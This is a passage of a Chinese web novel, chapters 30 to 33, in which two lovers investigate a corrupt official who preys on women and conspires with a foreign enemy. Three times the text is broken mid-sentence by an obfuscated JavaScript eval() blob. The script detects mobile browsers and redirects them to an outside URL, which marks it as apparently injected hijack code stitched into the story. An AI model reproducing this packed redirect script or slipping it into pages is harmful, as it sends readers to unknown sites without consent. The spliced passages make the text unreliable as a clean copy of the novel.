宓安让朝青和暗卫各自去探查了两天,果然如谭忍冬所说,孔志平戕害女子,恶事作尽。不知是自信这些事不会被发现,还是仗着丞相撑腰无所畏惧,这日傍晚,孔志平竟主动让人邀景煦到酒楼用膳。 这酒楼背后的东家就是孔志平,不仅做吃食生意,还做皮肉买卖。虽然藏的深,但这两日在朝青与暗卫的细细探查全都翻了出来。 宓安突然道:“景煦,我有个想法。” 两人对视一眼就知彼此心意,景煦难得对宓安冷下声音:“不行!” 宓安就知道他不会同意,只好和他讲起了道理:“你自己去太危险了,我怕你失身。” 景煦被他气笑了:“我不会,你别想。” “那你抛金币。”既然枨衔水给的金币能无限抛,宓安干脆就赖上他了,没想到景煦却不讲道理:“我怀疑他这金币故意向着你。” 宓安一阵无言,说道:“既然向着我,就说明国师的卦象显示要听我的。他总说天机不可泄露,所以用这样的隐晦的法子提示我们。” 景煦:“?” 看着他满脸不可思议,宓安挑了挑眉:“你这是什么表情?” “阿宓什么时候也学会胡说八道了。” “就你能胡说?” “那你要听我的话,不许擅自犯险。” “行。” 宓安的想法就是他假装娈宠跟景煦一起去赴约,假装而已,宓安并不觉得有什么问题,只是景煦向来不许任何带有侮辱意味的事和宓安扯上一丁点关系,更不能忍受旁人对宓安哪怕只有一个眼神的冒犯。 宓安找了支炭笔稍稍描了下眉毛和眼尾,他本就生的精致,纵然年龄渐长不像儿时那样雌雄莫辨,但始终有着三分女子相,现下眼尾被他加重,更添妩媚风情。 景煦喉咙一紧,情不自禁吻了下宓安的眼睛,委屈道:“待会儿赴宴阿宓不许看别人。” 顿了顿,又语气森然地说道:“回头就把孔志平眼珠子挖了。” “你好暴躁。” 酒楼坐落在雄山闹市中,比南兴楼的总部还要气派几分,二人下了马车,宓安摆出一副弱柳扶风的娇媚样子,轻挽着景煦,垂眸低头间都是说不出的风情万种。 景煦悄悄用力握紧了宓安的手,用只有两个人能听到的声音咬牙切齿道:“阿宓这是从哪学来的?” 宓安媚眼如丝,轻轻瞥了他一眼:“宫中歌舞乐伎,见过不就会了。” 景煦还要再说什么,孔志平已经迎了出来,于是只好先压在心里,等着回去再和宓安好好谈谈。 “下官见过昭王殿下。”孔志平规规矩矩行礼,状似不经意地扫了一眼宓安。景煦抬手揽住宓安的腰,笑道:“不必多礼。” 三楼雅间视野开阔,开窗便能看到窗外的江,孔志平却让人放下了帘子,笑着拍了拍手。屋外走进来几位姑娘,宓安往景煦身上靠了靠,软着嗓子叫了声殿下。 景煦狠狠咬住了自己的舌头,宓安一顿,莫名其妙地抬了下眼,悄悄掐了他一把。 听到宓安的声音,孔志平恍然大悟,告罪道:“殿下恕罪。”说罢,便挥手让姑娘们离开了。 景煦不动声色地握住宓安掐他的手,面不改色地笑道:“无妨。” 孔志平虽然是与景煦说话,眼睛却一刻也没离开宓安:“这楼中虽也有小倌,却不及殿下怀中美人的万分之一,就不献丑了。” 景煦有一下没一下地摩挲着宓安的手,心里已经在计划怎么挖孔志平的眼睛了,宓安又拧了一把景煦的腿让他回神,柔弱无骨般靠在景煦身上,对孔志平笑道:“大人谬赞。” 面纱遮住了宓安的大半张脸,但他明眸善睐,素手纤纤,这面纱竟是犹抱琵琶半遮面般的触人心弦。 雅间内只剩四人,宓安不动声色地轻扫一眼孔志平身后的师爷,垂下了眼眸。 景煦直言道:“孔大人邀本王前来所谓何事?” 孔志平也不拐弯抹角,说道:“殿下,实不相瞒,是下官的舅舅孔丞相有意与殿下交好。陛下子嗣凋零,明眼人都知道大权在谁手中,还望殿下护佑孔家。” 宓安抬手给景煦倒了杯茶,孔志平正想把自己的杯子也推过去,宓安却已经放下了茶壶,景煦也扫了他一眼,孔志平只好讪讪收回了手。 景煦胆战心惊地喝着宓安亲自喂来的茶,镇定道:“既然本王迟早大权在握,那孔家岂不是可有可无?” 孔志平笑道:“殿下不必试探下官。大皇子近日也有意与孔相促膝长谈,若是……” 后面的话他没说出来,宓安勾了勾唇角,暗骂了一声蠢货。他有多大的胆子,敢以孔家扶持大皇子这种事威胁景煦。 景煦笑了声,问道:“孔家如此轻易信任本王?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14648335|156564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孔志平的眼神落到了宓安身上,语气意味不明:“希望将来的后位,能由孔家的女儿来坐。” 小小的雅间内,瓷杯碰撞的声音突兀地响起,宓安随意拂去指尖茶水,漫不经心地告罪道:“殿下恕罪。” “怎么?美人不高兴了?”景煦没有回答孔志平,笑着揽住了宓安,“莫要生气,给你个贵妃之位可好?” 宓安:“……” 还演上瘾了。 “美人不悦,本王就先告辞了。”景煦将宓安拦腰抱起,宓安也配合地揽住他的脖子,将脸埋在景煦怀里,“孔大人所说之事,本王会好好考虑的。” 二人已经走出了酒楼,孔志平的眼睛还落在宓安身上,久久没有移开。 景煦抱着笑得一颤一颤的宓安,黑着脸回了客栈,将人往桌上一放,低头狠狠亲了上去。 宓安猝不及防被他吻住,满眼笑意地张开嘴任他掠夺,暧昧的水声中掺杂着宓安带着轻喘、含糊不清的声音:“昭王殿下……怎么又生气了。” “本王要挖了他的眼珠子。”景煦恶狠狠地骂了一句,又重重亲了宓安一口,手也慢慢往下摸去,宓安拨开他不老实的手,警告道:“休想。” 景煦委屈道:“阿宓好无情。” 宓安抬眸看他,被修饰过的眼尾像狐狸一样勾人,语气却有些冷漠:“我可防着你呢。” 他一脸打算翻旧账的模样,景煦立刻老老实实地收回手,眼睛却直勾勾盯着宓安,问道:“近日蛊虫有没有作乱?” 宓安勾着他的腰将人拉近,还要再亲:“少说废话。” 难得宓安这么主动,景煦顿时将所有事都抛在了脑后,一手垫着宓安的头将他放倒在桌上,压着人亲了个够。 “等等,孔志平那个师爷……” “这个时候阿宓怎么能提别的男人?” “别闹,那个师爷似乎易容了,我看他脸上……” “阿宓竟然偷看别人。” 清望寻来时,听到屋内窸窸窣窣的,没等他开口,就听宓安像抱怨又像撒娇的声音:“景长昱!” 手里的东西差点脱手,清望手忙脚乱地稳住,想逃开却已经被景煦听到了动静,喊他进去。 清望深深低着头,只敢看自己的脚下:“主子,这个这个这个……” “哪个?”宓安的声音还是如往日一般清冷,听着这平日让人战战兢兢的语气,清望却松了口气,说道:“是一块玉佩,前几日赌客上头当银子押了。”说到这,清望飞速扫了景煦一眼,见他正在认认真真叠着一块纱巾,并未注意自己,便放心道:“属下见这玉佩质地清透,主子或许会……喜欢……” 景煦不知何时看了过来,目光沉沉,脸色不悦,清望结巴了一下,将玉佩放下,三步并作两步地跑了。 宓安好笑地摸了一把景煦的脸,拿起玉佩看了看,奇怪道:“怎么有个缺口?” 景煦闻言扫了一眼,宓安手中的玉佩确实成色上乘,通体浅翠,清透晶莹,只是玉佩侧面有个浅浅的弧形缺口。 宓安摸出景煦从南兴楼拿来的那颗珠子,竟然不大不小,珠子的一半正好卡在那个小缺口中。 “看起来应当还有一块玉佩,两块玉佩正好能将珠子夹在中间。”宓安取下珠子,有些奇怪,“可这玉佩和珠子看起来不像同一块料子。” “枨衔水的指引,就是为了这东西?”景煦可不信天下有这么巧的事,他从南兴楼随手拿了个珠子,就有人上赶着送了块玉佩。 想到这里,景煦的眼神更加幽深,充满不快:“我拿珠子是因为你会喜欢,清望送玉佩也是因为你会喜欢,枨衔水这么了解你?” 宓安确实很喜欢晶莹剔透的东西,闻言哭笑不得道:“国师了解我做什么,说不定是算出来的。” “他没事算你干什么?” 宓安:“……” 突然和国师不期而同地涌起了一股国之将倾的凄凉。 31. 耿直 那日景煦和宓安演的一出戏,果然让孔志平放下了警惕,才几日过去他又狗改不了吃屎,盯上了一位卖菜的姑娘。 朝青的人暗中跟了那姑娘几天,孔志平的人鬼鬼祟祟的还在观望,应当是在寻找时机。而暗卫则潜入了孔志平府上,盯了几天负责向孔玉宣送信的两个家仆,终于在他们深夜出府准备放信鸽时将人打晕拖回了朝青。 宓安睡醒就看到院子里景煦和两个暗卫围坐在火堆旁,不干正事的昭王殿下悠哉悠哉地烤着鸽子,旁边还躺着两个不知死活的男人。 “你们在干什么?”宓安莫名其妙地看着眼前的三个人,暗卫起身行礼,景煦将烤好的鸽子递给宓安,说道:“我让人把孔志平的信使抓回来了,是孔玉宣的人。”说着,指了指两个暗卫:“阿宓看看适不适合易容。” 宓安看着手里的鸽子,问他:“孔志平的信使怎么是孔玉宣的人?” 景煦催他尝尝鸽子,说道:“那老家伙警惕的很,孔志平只是外甥,又不是儿子。” 宓安将鸽子还给景煦,言简意赅:“腻。” 于是鸽子到了暗卫手里,景煦拉着宓安用早膳去了。两个暗卫面面相觑,一时不知道这鸽子是给他们吃的,还是让他们先拿着。宓安失笑,回头道:“鸽子吃了吧,吃完我来给你们易容。” 景煦虽然不喜欢宓安靠别人太近,但做正事时他通常很是“懂事”,于是宓安给暗卫易容时,他只是搬了个凳子坐到了一旁,直勾勾地盯着两人,盯得暗卫几乎要冒冷汗,宓安忍无可忍,一巴掌甩上了景煦的后脑。 景煦捂着头乖乖转过了身。 “好了。”宓安将暗卫的头发梳好,交待道,“最多五日,到时不论有没有结果,都要回来将面具摘了。” “是。” 暗卫走后,景煦看着宓安欲言又止,宓安又给了他一巴掌,将他的发簪取下来,重新梳好头发又戴了回去。 景煦突然笑了起来,满足道:“阿宓真是了解我。” “幼稚。”宓安笑骂,赶他去做正事。 景煦正想说他没什么正事要做,跟着那位姑娘的清露就火急火燎地找了过来:“主子,孔志平的人跟了那姑娘几天,今日趁她上山采菌子想要轻薄于她,属下出现打伤了那些人,但是……” 她好像有些难以启齿,说道:“那姑娘的裙子被树枝刮破了,硬要说被属下看了身子,要属下负责。她拉着属下不放,孔志平的人趁机跑了。” 宓安奇怪道:“只是裙子破了?” 清露红着脸,不知是羞是气:“只是裙子破了,那不是还有衬裤?可她不依不饶,一路跟来了朝青……主子您能去告诉她属下是女的吗?” 景煦惊讶道:“你是女的啊?” 清露更生气了,干巴巴地回了一句:“回主子,是的。” 清露长相英气,个子又高,连声音都有些低沉,初入朝青时就被很多人认成男子,闹了不少笑话。 景煦诚恳道歉:“不好意思。” 宓安好笑地看着清露,说道:“既然如此,让她先留在朝青吧,总是暗中跟着难免会有意外。” 清露大惊失色:“那属下怎么办!” “她是女子,你也是女子,她能将你怎么样?”宓安奇怪,“你怕什么?” 清露却一脸忧愁:“主子,属下去她家里住几日吧?就说是她远房表姐,说不定还能抓住孔志平的人。” “也好。”宓安同意了她的提议,“我会让人看住她。拉住你不放导致歹人逃走这件事有些奇怪,你到她家中小心探查。” “属下遵命!那个……主子给我易个容吧?” 一路跟着清露回来的姑娘此时正在客房中坐立难安,直到宓安推开门,她猛得站了起来,看清来人后却松了口气。 宓安笑道:“怎么,见到我反而不怕了。” 这姑娘看了宓安的面具半晌,说道:“我听说过你,朝青的主人。” 宓安目光冷淡,波澜不惊:“我也听说过你,西岐的五王子。” 眼前的人脸色骤变,直直盯着宓安,宓安却慢条斯理地倒了杯茶,说道:“别紧张,坐。” 这“姑娘”正是那日宫宴,西岐使臣口中被北夷人暗害了的五王子,乌连今。 “你想怎样?” 宓安淡淡地扫了他一眼,说道:“这话应该我问才对,阁下千里迢迢潜入大渊,混进朝青,意欲何为?” 乌连今抬手擦去了口脂:“听说你和乌南什结了盟?” 宓安抬眸看他,并未答话,乌连今继续说道:“你与我结盟,他许了你什么,来日我数倍给你。反正对你来说,谁做西岐王都没有区别。” “乌南什许了我西岐十座城。” 屋内诡异地安静下来,乌连今表情扭曲,看了宓安好一会儿,不敢置信道:“他疯了?” 宓安嗤笑一声:“开玩笑的。” 乌连今:“?” “不过,阁下是如何得知你兄长同我结盟的?” 乌连今似乎被“兄长”两个字恶心到了,面色十分难看地说道:“那个白痴真以为我死了,日日对着我的灵位说话,我碰巧听见的。” 宓安饶有兴致地看着他,乌连今却不想再多说,直问道:“行不行,给个准话。” “可以。”宓安爽快道,“你兄长给了我一大笔银子,别忘了十倍送来。待会儿我让人跟你对账。” 宓安起身要走,乌连今突然叫住了他:“等等,你是怎么发现我是男人的?” 宓安眼神慈爱地看了他一眼,笑道:“鄙人不才,略懂医术。” 回到卧房,宓安同景煦大致说了一下与乌连今的交谈,感慨道:“有这两个傻子在,西岐何愁不亡国。” 景煦好笑道:“乌南什那边你还吊着呢?” “当然。”宓安理所当然,“在我们拿到那笔钱之前他可不能添乱。” “看来那天在宫宴上还是没骗过乌南什。”景煦手指轻敲桌面,“不该聪明的时候乱聪明。” 宓安道:“有南兴楼这个前车之鉴,其他势力就算知道朝青效忠朝廷也不敢轻举妄动。” 这个小插曲很快就被两人抛之脑后,孔志平消停了两天,仍然不死心地派人趁夜潜进了乌连今家中,却只碰到了正在假冒“表姐”的清露。 宓安并没有将清露易容成别人,只是稍稍修饰了她的眉眼,让原本的剑眉星目变得柔和温婉。 孔志平的人才进院子,清露就睁开了眼,悄无声息地翻窗出去,站在两人身后,缓缓开口:“有什么事吗?” 月黑风高,两人吓得惨叫一声,慌忙回过头才发现只是一个女子,当即觉得失了脸面,恼羞成怒道:“臭娘们!鬼鬼祟祟的干什么!?” 清露说道:“好汉恕罪,奴家前来投奔表妹,不巧表妹不在家,倒冲撞了二位好汉。” 表妹不在?两人对视一眼,前几日失手已经惹怒了孔志平,今天要是再失手,他们就别想要脑袋了。这样想着,两人迅速出手,将清露按住,绑住了她的双手。 清露佯装柔弱,被两人推到了一旁的草堆上。一人拿出一把匕首,威胁道:“别出声,否则……” 清露害怕地点头如捣蒜,那两人坐到了院中的凳子上,抱怨道:“孔大人老让咱哥俩干这事,这么多好看的小娘们,碰也不能碰。” “别胡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14648336|156564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说,孔大人看上的人你也敢碰?” “嗨,我就一说。” “我可听说,孔大人不日就要去京都了。” “投奔他那当大官的亲戚?” “你不知道,那天我在他府里上茅房迷了路,听见他跟人说什么北夷?好像是他那个大官亲戚跟北夷有交情。” “北夷?不是老跟咱们打仗吗?” “嗨,谁知道呢!” 两人胡天海地聊了一通,清露安安静静默默听着,不多时那两人低声不知说了什么,神色暧昧地看向了清露,其中一人起身就要过来。 清露见他对自己起了歹心,狠狠翻了个白眼,迅雷不及掩耳之势挣开绳子,出手将两人制服打晕,绑在一起拖回了朝青。 已是深夜,清露不好打扰宓安,又担心不及时回报会耽误主子正事,于是将两人的嘴堵住,挂在了宓安院里的树上。 将绳子的末端固定好,清露满意地拍了拍手,这下主子明早睡醒就能第一时间知道她发现问题了。 翌日一早,一声惨叫响彻云霄,惊醒了整个朝青。 宓安迷迷糊糊地睁开眼,口齿不清地问道:“发生什么事了……” 景煦习惯早起练功,一向醒的早,只是今日见宓安睡得香甜还不自觉往他怀里蹭,实在舍不得下床,便也一直躺到了现在。听到宓安问,他低头轻吻了怀里的人一下,温声道:“你再睡会儿,我去看看。” 景煦推开门就看见两个人被高高挂在树上随风摇晃,不知是死是活,清望抱着剑坐在地上,脸色惨白,嘴里嘀嘀咕咕着什么。景煦静心听了一会儿,全是胡言乱语,于是又把门关上了。 宓安已经睡不着了,见景煦回来,问道:“怎么了?” 景煦言简意赅地总结道:“树上挂了两具尸体,清望受惊惨叫。” 宓安:“?” 门外,闻声赶来的清露看着坐在地上的人嫌弃道:“你鬼叫什么?又不是没杀过人。” 清望面色煞白,说话结巴:“这、这能一样吗?我以为冤魂索命来了。” 宓安见院里没有外人,便没戴面具,一脸困倦地走了出来,莫名其妙地看向树上的两个人,又莫名其妙地看向清望,半晌才开口道:“这是在干什么?” 清露见宓安醒了,连忙道:“回主子,昨夜这两人潜入了那姑娘家,属下听他们说起孔志平和北夷有关系,就把人绑回来了。” 宓安甚至没有先关心北夷,而是问道:“绑回来就绑回来,挂树上做什么?” 清露一脸理所当然:“自然是让主子第一时间看到。情报要及时,这是当年入朝青的第一课。” 宓安:“……” 清望的脸色稍缓,有气无力地冲宓安道:“难得见主子不戴面具,主子真好看……” 话音未落,屋内飞出一个茶杯,从宓安耳边呼啸而过,带起他鬓边一缕长发,直冲青望飞去。 清望惨叫一声,茶杯做暗器速度如闪电一般,他竟然避无可避,还好景煦没想伤他,茶杯到他脸前一寸就卸了力,在他面前摔成了瓷片。只是清望被吓了一跳,慌不择路下被摔碎的茶杯割破了手。 屋内传来景煦毫无起伏的声音:“我说过了,对青安讲话注意分寸。” 清露退了两步,和清望拉开距离,生怕被波及。 清望还坐在地上,委屈道:“回主子,属下知错。” 宓安无可奈何地看了景煦一眼,向清望丢去一瓶伤药,后者以为又要挨打,本能地挡了出去,出了手才看清是宓安的药,又连滚带爬地扑出去将瓷瓶抱在了怀里。 宓安头疼地闭了闭眼,心想清望一定和乌连今很合得来。 32. 年轻 被挂了一夜的两人终于落到了实地,红着眼睛挣扎想求宓安放了他们,宓安本就头疼,不想再听无意义的惨叫,冷声道:“问什么说什么,多说一个字死。” 两人这才不敢再乱动,清露拿出堵嘴的破布,宓安问道:“孔志平和北夷有何关系?” 其中一人哆哆嗦嗦地回答:“小人不知啊……就是那日在孔大人府中迷了路,听见他与人交谈,说什么‘北夷人答应的东西送来了吗’‘等舅舅见了北夷王再商量’,别的小人真的不知道了啊,求贵人放了我吧!” 宓安挥挥手,清望非常有眼力价地将两人打晕,景煦笑道:“先关着吧。” 宓安觉得好笑:“平日朝青的地牢几乎是空的,我一来倒是越关越多。” 清露突然问道:“主子觉得地牢人太多了吗,属下去杀几个?” 清望不敢置信地转头看她,张了张嘴想说什么,最终也没敢出声,宓安也沉默了良久,开口道:“不必了。” 景煦趴在宓安身上笑得一颤一颤,等清露离开才说道:“青安公子,改天也让十三教教她怎么做正常人吧。” 手下的人都奇奇怪怪的,两人嘴上这么说,却也没真的想改变他们,毕竟人活着自己舒心就足够了。 “我看你和清望清露更熟一些。”景煦问道,“京中那个觊觎你的清越倒是有些怕你?” 宓安点头:“我与清望相识的早,那时我还不到十岁,跟着师父到处游历,碰到了被人扔在山中的清望,他是在朝青长大的。清越是后来加入朝青的,我见他能力不错才提拔上来——什么觊觎?” 景煦不回他最后一句,自顾自莫名其妙地得意:“哼哼,没我早。” 宓安习惯了他这莫名其妙的攀比心,无奈道:“除了我爹娘,谁有你早?” 景煦凑近抱住宓安的腰,问道:“怎么不让清望留在京中,你也多个朋友。” “他从小没去过什么地方,出来走走也好。”宓安顺势靠在他身上,“况且,我们也不算朋友。” “嗯?” “不是相识就算朋友的,志趣相投、有话可说才算朋友。”宓安静默良久,“这么一看,我还真没朋友。” 那日和孟兆兴客套了一番,其实两人也只是政见相合,互相欣赏罢了,若说朋友,只能算半个。 “那我是阿宓唯一的朋友。”景煦熟练地往自己脸上贴金,“还是唯一的夫君!” 宓安:“……” “孔志平那边的暗卫回来了吗?”宓安转移话题,“北夷和孔玉宣又要作什么幺蛾子,竟然还没老实。” “还没。”景煦将下巴搁在宓安肩膀上,有些出神,“什么时候能解蛊,我好担心。” “没事的。”宓安笑了下,“国师不是说了,我们此行顺利。” 景煦不置可否,突然问道:“对了阿宓,在北夷碰到赫连修齐的时候,你注意过他的眼睛吗?” 宓安摇摇头:“天色太暗了。” “我记得你说过,人的眼白随着年龄增长会逐渐变得混浊,所以你为了万无一失,通常只易容年龄相仿的人。”景煦细细回忆与赫连修齐交手的那天,当时莫名觉得哪里奇怪,现在想来,赫连修齐的眼睛,好像是有些不对劲。只是如宓安若说,当时天色太暗,景煦也拿不准了。 宓安无意识地摩挲着景煦的手:“预川那天师的眼睛呢?” “是老人的眼睛。” 宓安的脑子里串联过重生后知道的一切,突然被一个想法惊得浑身发凉,他不自觉地用力握紧了景煦的手,问道:“你说,这世上真有假死药吗?” 景煦轻轻拍了拍宓安,让他放松:“我没见过,这应当问你,宓神医。” 宓安被这个称呼逗笑,嗔道:“乱叫。” “怎么突然问这个?” “随便问问。”宓安否定了自己的猜测,起身舒缓筋骨。这段时间他体内的蛊被压制着确实还算安静,只是偶尔蛊虫会像睡醒了一般挣扎一下,但也不算大问题。 既然国师说了他们此行顺利,宓安想着也不必告诉景煦徒增担心了。 当夜,孔志平又让人来请昭王殿下,宓安犯懒不想看他虚与委蛇,让景煦自己去。景煦蹲在他腿边,委屈道:“为夫的清白之身!” 宓安失笑:“这样,你拖住孔志平,我去他府里看看。” 景煦不情不愿地站起身:“那你自己小心。” “知道了。” 自从宓安上次在红林镇穿了次景煦的衣裳,这人就不知又想起了什么,让人按他的尺寸做了十几件一样的,还万分精致地用银线绣了月莲。 只是宓安到底不爱穿深色的衣裳,也只有这种夜里暗探的时候能穿一次。 孔志平家中颇为气派,连下人穿的衣裳都是上等的料子,回观张德清和孟兆兴的府邸,真是清风两袖朝天去。 宓安悄无声息地坐在屋顶上,黑衣与夜色融为一体,人却白得像月亮一般,清望蹲在他身后,小声感叹:“主子,你好像鬼啊。” 宓安:“……” 清望见宓安不说话,立刻警惕起来,四处扫视一番,这才松了口气:“吓死我了,还以为昭王殿下也来了。” “这么怕他就好好说话。”宓安看向一间不起眼的偏房,夜里不点烛火,也没有下人守门,似乎只是一间不重要的屋子。 清望压低声音:“其实主子,属下挺想和殿下过过招的。” “我都打不过他,你再练练吧。” “昭王殿下还跟您动手啊?” 宓安瞥他一眼,没力气继续说废话,交待了一句看好周遭,便飞身下了屋顶,轻盈无声地落在了偏房门前。 偏房内十分安静,宓安凝神听了片刻,确定无人直接推门走了进去。这是一间小书房,书卷都规规矩矩地收在架子上,桌上只有两支狼毫,信笺也整齐放在桌角。与其说整洁,倒不如说不像有人常用。 孔志平做事仔细,书房常常打扫,不曾落灰。宓安将书房细细打量了一通,半晌,抬手拿起了架子上的一本书,果然有个小巧的机关藏在下面。 宓安按下机关,书架缓缓移开,露出一扇木门。密道不长,不到半柱香就走到了尽头,宓安正想推开门,却隐约听到了景煦的声音。 “孔大人客气了,来日还要仰仗丞相。” 确实是景煦的声音没错,宓安奇怪地回头看了一眼,这么近的路程,府中密道通往酒楼有什么意义? “殿下与孔相、与下官,那是知己挚交,只盼将来君臣一心,史书上也能留一段佳话。” “那是自然。” 宓安四处看了看,这密道确实只有这一条路,孔志平也许是用这密道神不知鬼不觉地带人回府,或许是那些无辜受难的姑娘,也或许是暗中勾结的官员。 “今日殿下那位美人没一起来?” “美人贪睡,本王只好独自赴宴了。” “既然不在,殿下可要赏脸看看这楼中小倌?虽不及殿下的人万分之一,但也别有滋味。” 宓安冲眼前的门翻了个白眼,暗骂精虫上脑的男人三句话离不开那档子事,迟早下点药阉了他。 就在他以为景煦会借口离开,自己也打算原路返回的时候,却听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14654362|156564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到门那头,景煦应了句:“好啊。” 宓安:“?” 景煦倒了杯茶,往旁边的博古架扫了一眼,虽然微不可查,但他确实听到了墙后有动静。想到朝青每个据点的机关密室,景煦决定暂留一会儿,看看孔志平到底意欲何为。 穿着薄薄外衫的小倌走了进来,整整十人,规规矩矩地站在了景煦面前。 景煦额角一抽,顿时后悔了方才的决定,密室而已,回头让暗卫来看看不就得了,他为什么要留下受这种罪。 “殿下,如何?” 景煦毫不客气:“下等。” 孔志平却笑道:“殿下见惯了上上等,自然看不上这般货色。只是这楼中人却有些其他妙趣,要殿下试过才知呢……” 他言语暧昧,景煦自然听得明白。但景煦这人平时头脑清醒,沉稳聪明,但一提到宓安就极其敏感,一点就着。孔志平言辞间将宓安和小倌相提并论,景煦便肉眼可见地沉下了脸色,冷笑道:“不必了,下等就是下等,上不了台面。” 他这话不知是在讥讽小倌还是在暗指孔志平,没等对方反应,景煦便站起身:“不早了,本王先告辞了。” 孔志平莫名其妙,这昭王也太喜怒无常了,也不知是哪句话又惹了他。心里这么想着,但面上不敢不敬,行礼道:“恭送殿下。” 宓安听到那边的动静,也退出了密室,将那本书原封不动地放了回去。 清望还鬼鬼祟祟地趴在屋檐上,宓安冲他打了个手势,两人一起消失在了夜色里。 “想你。”宓安刚回景煦就抱了上来,满脸疲惫地靠在了他身上。 宓安还没来得及冲他冷脸,见他阖着眼睛养神便先心疼了,轻轻替他揉着头上的穴位。 景煦抱着心上人,好像吃了什么灵丹妙药,满身疲惫一扫而空。 “有阿宓在真好。”景煦熟练地将人抱坐在腿上,又靠了上去,“以前处理朝政比现在麻烦百倍,只有我一个人,好累。” 好不容易从如山如海的折子里抽出身,回去见到的却只是宓安的冷脸。 宓安诚恳道:“对不起。” “嗯?”景煦侧头看他,一个轻吻落在了宓安唇上,“我不是怪你,我就是……” 他想了一下,继续道:“就是觉得现在真好,当然以前阿宓也很好。” 宓安笑了一下,见缝插针:“孔志平那些小倌也很好?” 景煦身子一僵,缓缓抬起头,小心道:“酒楼里有朝青的人?” “没有啊。”宓安漫不经心地把玩他的手指,语气有些阴阳怪气,“殿下见惯了上等,要殿下试过才知其中妙趣。” 景煦抱着人不敢出声,宓安戏谑地看着他,笑道:“昭王殿下怎么不说话?” 景煦熟练认错:“我错了,我不该看别的男人,我自掘双目。” 宓安被他逗笑:“这倒不必。你是发现了什么,不惜自掘双目也要留在那里?” 景煦笑着亲了他一口,老实交代:“雅间墙后似乎有机关,我听到一点动静,不过动静很小,我也不确定。回头让暗卫去查查。” “不用了。”宓安道,“是我。” “嗯?” “孔志平府上有条密道通往酒楼雅间,你听到的动静是我。”宓安捏了一把景煦惊讶的脸,“耳朵这么好?” “年轻的耳朵就是好。”景煦感叹道,“连你潜藏我都能察觉,以前难道真是年纪大了?” 宓安翻他白眼:“那陛下可要好好保养,臣喜欢年轻的。” 景煦好像没听出宓安在开玩笑,认真道:“一定。” 33. 朋友 “也不用太年轻。”宓安想起上辈子夜夜荒唐的那段时间,突然觉得腰有些疼,生硬地转移话题,“我起初以为那个密道是为了偷偷带姑娘回去,现在想想,被他设计的姑娘几乎都是直接走正门进府的,那密道或许是为北夷人准备的。” “北夷人与孔玉宣有勾结,区区一个孔志平,值得他们亲自过来?”宓安有些想不通,“况且雄山离京城这么远,他们来这里是为了什么?” 景煦沉思片刻,说道:“今日那几个小倌,有一个似乎……” 宓安抬眼,景煦立刻捂住了他的眼睛,笑道:“我发誓我只是扫了一眼!年轻记性好没办法。”他夸了自己一句,继续说正事:“有一个似乎想说什么,我已经让暗卫去带他过来了。” 说话间,暗卫的脚步声已经由远及近,宓安赶紧从景煦腿上下来,理了理衣裳正襟危坐。暗卫身后,一个穿着红色薄衫的男子紧紧揽着领口,光着脚亦步亦趋地跟着。 宓安看了一眼暗卫,迁怒了他的主子,当即给了景煦一巴掌,转头对暗卫道:“好歹让人穿件衣裳!” 暗卫脚步一顿,告罪道:“公子恕罪,但是他、他、他……” 暗卫“他”了半天也没说出什么,倒是小倌规规矩矩地行了一礼:“公子恕罪,小人实在没有别的衣裳。” 宓安叹了口气,让暗卫去找清望拿件衣裳,又让人收拾出一间客房,对他道:“你叫什么名字?若非急事,先休息一晚,明日再说也可以。” 小倌跪了下来:“小人名何汐,公子,小人想现在就将事情说明。” “别跪了,去换衣裳吧。”宓安看着何汐进了偏屋,有些奇怪,这人一身书卷气,完全不像在那种地方摸爬滚打过的人,当着孔志平的面就敢向景煦传信息,也是个有胆色的人。 “阿宓不许看了。”景煦捏了下宓安的手指,有些吃味,“他哪有我好看?” 宓安抽出手,敷衍道:“陛下俊美无俦。” “殿下,公子。”何汐换好衣裳,又向二人行了一礼,“请殿下为我兄长报仇。” 景煦言简意赅:“细说。” “小人的兄长名为何潮。历年科考,学子报考都要有当地府衙的户籍证明,花钱打通关系也成了常事。前年我与兄长一同报考,谁知孔志平竟不收我们的银子,他……” 何汐咬牙切齿,双眼通红:“他让我和兄长,其中一人做他的娈宠,另一人便能顺利拿到证明,参加科考。” “我同兄长约定,由我先拖住孔志平,待兄长科举高中,便回来救我。可是……可是孔志平的舅舅位高权重,我兄长竟不明不白地死在了京中!” “求殿下做主!” 二人沉默良久,何汐一颗心沉了下去,颤抖着声音继续说道:“我知殿下并不是孔志平之流,若殿下能替我兄长报仇,何汐的命就是您的。” 宓安回过神,安慰道:“不是不愿帮你,他只是在想前年科考有谁中举……殿下记性不好,你先坐下。” 